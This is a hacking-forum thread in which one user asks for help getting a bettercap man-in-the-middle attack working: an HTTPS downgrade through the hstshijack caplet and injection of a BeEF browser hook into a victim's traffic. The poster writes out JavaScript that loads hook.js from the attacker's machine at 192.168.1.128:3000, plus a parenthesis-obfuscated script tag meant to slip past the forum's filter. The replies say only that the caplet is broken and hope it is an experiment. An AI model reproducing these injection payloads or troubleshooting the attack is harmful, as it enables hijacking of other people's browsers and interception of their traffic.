

Forum:[Hack Forums](#)

Thread: [bypassing https using hstshijack and beef tool](#)

Leeriz - June 1, 2024, 11:30 am

Hi guys,

using bettercap i can redirect the traffic of my windows through my kalilinux , but when i try to downgrade https to http , that don't work , i don't know why (using hstshijack/hstshijack) , also i try to inject javascript using beef tool (var imported = document.createElement('script');

imported.src ="http://192.168.1.128:3000/hook.js";

document.head.appendChild(imported);) here is my script and it don't work

But when i inject javascript on index.html (the page of kalilinux) and i browse to 192.168.1.128 the javascript injection work and i get connection on beef tool .

the problem is the victim in reality will not browse to 192.168.1.128 but using the first script , normally whatever he browse the injection should work and i get connection on beef which don't work .

i'm sorry english is not my first language , hopefully you'll understand and thank you.

DramaKing - June 1, 2024, 2:36 pm

(Jun 1, 2024 11:30 AM)Leeriz Wrote: [\[CITE\]](#) Hi guys,

using bettercap i can redirect the traffic of my windows through my kalilinux , but when i try to downgrade https to http , that don't work , i don't know why (using hstshijack/hstshijack) , also i try to inject javascript using beef tool (var imported = document.createElement('script');

imported.src ="http://192.168.1.128:3000/hook.js";

document.head.appendChild(imported);) here is my script and it don't work

But when i inject javascript on index.html (the page of kalilinux) and i browse to 192.168.1.128 the javascript injection work and i get connection on beef tool .

the problem is the victim in reality will not browse to 192.168.1.128 but using the first script , normally whatever he browse the injection should work and i get connection on beef which don't work .

i'm sorry english is not my first language , hopefully you'll understand and thank you.

That caplet has issues in certain versions of bettercap. I moved on before I got any success with it myself. I don't know how you're trying to inject the JavaScript, but as you said, you haven't been able to do downgrade attacks, which are active and generate warnings if you didn't realize. Hopefully, you're only doing this as an experiment.

Also, most computer users use Windows. I would test BeEF on Windows, not just Linux.

Leeriz - June 1, 2024, 3:19 pm

hi i dont know why i cant response

because my response contain some commands ?

if you go to /usr/share/bettercap/caplets/hstshijack/htshijack.cap you will found some javascript payloads there by default that should be injected after you type command htshijack/hstshijack in the middle of man in the middle attack and it should normally downgrade https to http .

you can add your own payloads to be injected , i added the first script in order to get connection to beef

but neither https is downgraded to http neither i get connection to beef .

the javascript injection that worked for me is you go to var/www/html/index.html , this is the page of

kali you will find when you browse to its ip adress (after service apache2 start), i inject a javascript code there to get connection to beef and when the victim browse to this page (192.168.1.128 ip adress of kali) the javascript is executed and i get connection to beef . but in reality why the victim will browse to 192.168.1.128 it can't be) . but if my first javascript code got injected (the script given on the first answer i should normally get connection after he browse to any website)

this is the injection that gives connection to beef ((((((<s(c(ript
src="http://192.168.1.128:3000/hook.js"></s)cr)ipt>)

remove the parentheses

DramaKing - June 1, 2024, 9:25 pm

(Jun 1, 2024 03:19 PM)Leeriz Wrote: [\[CITE\]](#) hi i dont know why i cant response

because my response contain some commands ?

Inserting any kind of JS/XSS/SQL will get you in trouble with the HF Firewall.

(Jun 1, 2024 03:19 PM)Leeriz Wrote: [\[CITE\]](#) if you go to /usr/share/bettercap/caplets/hstshijack/htshijack.cap you will found some javascript payloads there by default that should be injected after you type command htshijack/hstshijack in the middle of man in the middle attack and it should normally downgrade https to http .

you can add your own payloads to be injected , i added the first script in order to get connection to beef

but neither https is downgraded to http neither i get connection to beef .

the javascript injection that worked for me is you go to var/www/html/index.html , this is the page of kali you will find when you browse to its ip adress (after service apache2 start), i inject a javascript code there to get connection to beef and when the victim browse to this page (192.168.1.128 ip adress of kali) the javascript is executed and i get connection to beef . but in reality why the victim will browse to 192.168.1.128 it can't be) . but if my first javascript code got injected (the script given on the first answer i should normally get connection after he browse to any website)

this is the injection that gives connection to beef ((((((<s(c(ript
src="http://192.168.1.128:3000/hook.js"></s)cr)ipt>)

remove the parentheses

Like I said, hstshijack is broken.